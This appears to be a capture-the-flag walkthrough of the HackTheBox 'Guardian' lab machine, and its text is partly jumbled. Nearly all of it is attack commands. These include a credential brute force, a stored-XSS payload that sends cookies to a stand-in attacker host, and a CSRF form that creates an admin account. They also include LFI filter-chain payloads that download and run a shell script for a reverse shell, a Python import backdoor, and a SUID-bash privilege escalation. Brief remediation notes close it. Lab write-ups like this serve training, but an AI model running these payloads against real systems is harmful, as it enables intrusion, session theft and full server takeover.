Portal login required a student ID in format `GU<3 DIGIT>
guardian.htb, portal.guardian.htb, gitea.guardian.htbferoxbuster -u http://guardian.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json,txt,log -t 50 -e
Subdomain fuzzing:
ffuf -u http://10.129.123.91 -H "Host: FUZZ.guardian.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --fw 20
Found portal.guardian.htb and added to hosts.
Portal login required a student ID in format GU<3 DIGIT><YEAR>.
Downloaded the portal guide and found default password GU1234:
http://portal.guardian.htb/static/downloads/Guardian_University_Student_Portal_Guide.pdf
Generated username wordlist:
for y in {2018..2025}; do for i in {0..999}; do printf "GU%03d%s\n" "$i" "$y"; done; done > gu_wordlist.txt
Hydra brute force:
hydra -L gu_wordlist.txt -p GU1234 portal.guardian.htb http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid username or password" -V -t 8 -o hydra_results.txt
Valid Login:
GU0142023 / GU1234Identified parameter manipulation in chat IDs:
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=11
Burp Cluster Bomb (IDs 1–20) revealed credentials in chat:
jamil.enockson / DHsNnk3V503Login worked only after using email format:
jamil.enockson@guardian.htb / DHsNnk3V503Reviewed composer.json and found PhpSpreadsheet 3.7.0 vulnerable to stored XSS (GHSA-79xx-vf93-p7cx).
Created an .xlsx with a malicious sheet name (TreeGrid FSheet):
<script>fetch('http://YOUR_IP:8080/log?c='+document.cookie)</script>
Uploaded to:
http://portal.guardian.htb/student/submission.php?assignment_id=15
Captured lecturer cookie via web server:
python3 -m http.server 8080
Injected stolen cookie to access the lecturer dashboard and extracted CSRF token from:
http://portal.guardian.htb/lecturer/notices/create.php
Created an auto-submit CSRF file (exp.html) to add an admin user:
<form method="POST" action="http://portal.guardian.htb/admin/createuser.php" id="exploitForm">
<input type="hidden" name="csrf_token" value="a8645589d4313aa2161aa430213854d4">
<input type="hidden" name="username" value="zero">
<input type="hidden" name="password" value="pa$$w0rd">
<input type="hidden" name="full_name" value="New Admin">
<input type="hidden" name="email" value="admin@domain.com">
<input type="hidden" name="dob" value="1990-01-01">
<input type="hidden" name="address" value="Admin Address">
<input type="hidden" name="user_role" value="admin">
</form>
<script>document.getElementById('exploitForm').submit();</script>
Hosted it and linked it via a notice so the admin executed it.
LFI in:
http://portal.guardian.htb/admin/reports.php?report=reports/enrollment.php
Bypassed extension check by appending ,system.php and used php_filter_chain_generator:
git clone https://github.com/synacktiv/php_filter_chain_generator.git
python3 php_filter_chain_generator.py --chain '<?php system("curl 10.10.xx.xx3/shell.sh -o /tmp/shell.sh");?>'
python3 php_filter_chain_generator.py --chain '<?php system("chmod +x /tmp/shell.sh");?>'
python3 php_filter_chain_generator.py --chain '<?php system("/bin/bash -c /tmp/shell.sh");?>'
Executed the generated payloads via:
http://portal.guardian.htb/admin/reports.php?report=<PAYLOAD>,system.php
Started listener:
pwncat-cs -p 4444
Result: Reverse shell from the server.
Pulled DB credentials and salt from:
cat /var/www/portal.guardian.htb/config/config.php
Accessed MySQL and extracted users:
mysql -u root -p
show databases;
use guardiandb;
show tables;
SELECT * FROM users;
Added salt 8Sb)tM1vs1SS to hashes and cracked with Hashcat:
hashcat -m 1410 -a 0 guardian_users.hash /usr/share/wordlists/rockyou.txt
Cracked credentials:
jamil.enockson / copperhouse56admin (hash cracked)SSH as jamil and read the user flag:
ssh jamil@guardian.htb
cat user.txt
jamil could run:
sudo -l
sudo -u mark /opt/scripts/utilities/utilities.py system-status
utilities.py imports utils/status.py, which was writable. Backdoored it:
echo 'import os; os.system("/bin/bash")' > /opt/scripts/utilities/utils/status.py
sudo -u mark /opt/scripts/utilities/utilities.py system-status
As mark, found root command:
sudo -l
Used safeapache2ctl -f with a malicious config to create SUID bash:
mkdir -p /home/mark/confs && printf "ServerName localhost\nLoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so\nErrorLog \"|/bin/sh -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'\"\nListen 127.0.0.1:8080\n" > /home/mark/confs/root.conf
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/root.conf
/tmp/rootbash -p
Root flag:
cat /root/root.txt
User Flag: user.txt (value not recorded in PDF)
Root Flag: root.txt (value not recorded in PDF)
Remove Default Credentials and Enforce MFA
GU1234 enabled brute-force logins.Fix LFI and Filter Chain Bypass
report parameter allowed LFI and bypass with ,system.php.Patch PhpSpreadsheet (Stored XSS)
Harden CSRF Protections
Prevent IDOR in Chat System
chat_users[] enumeration exposed credentials.Fix Sudo and File Permission Issues
status.py and permissive safeapache2ctl sudo.